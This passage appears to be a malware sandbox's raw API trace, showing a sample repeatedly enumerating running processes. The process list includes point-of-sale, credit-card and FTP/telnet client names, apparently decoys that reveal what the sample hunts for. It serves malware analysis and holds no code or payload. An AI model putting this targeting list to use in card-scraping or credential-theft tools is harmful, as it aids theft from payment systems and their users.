(in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0240.615] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0240.618] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0240.621] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0240.624] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0240.626] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0240.630] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0240.632] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0240.637] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0240.641] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0240.643] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0240.646] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0240.649] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0240.652] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0240.655] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0240.660] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0240.662] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0240.664] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0240.667] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 0 [0240.669] CloseHandle (hObject=0x21ec) returned 1 [0240.669] Sleep (dwMilliseconds=0x64) [0240.671] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ec [0240.698] Process32First (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.701] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0240.703] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0240.707] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.709] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0240.712] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.739] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0240.743] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0240.746] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0240.749] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.751] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.754] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0240.756] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.760] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.761] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.764] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.765] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.767] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.769] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.771] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0240.773] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0240.775] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0240.777] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.780] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0240.782] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0240.784] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0240.785] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0240.787] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0240.789] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0240.793] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0240.795] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.797] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0240.799] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0240.801] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0240.803] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.806] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0240.808] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0240.809] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0240.811] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0240.815] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0240.817] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0240.819] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0240.821] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0240.822] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0240.824] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0240.826] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0240.828] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0240.831] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0240.834] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0240.836] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0240.839] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0240.842] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0240.846] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0240.870] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0240.875] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0240.878] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0240.881] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0240.886] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0240.890] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0240.894] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0240.898] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0240.902] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0240.905] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0240.909] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, 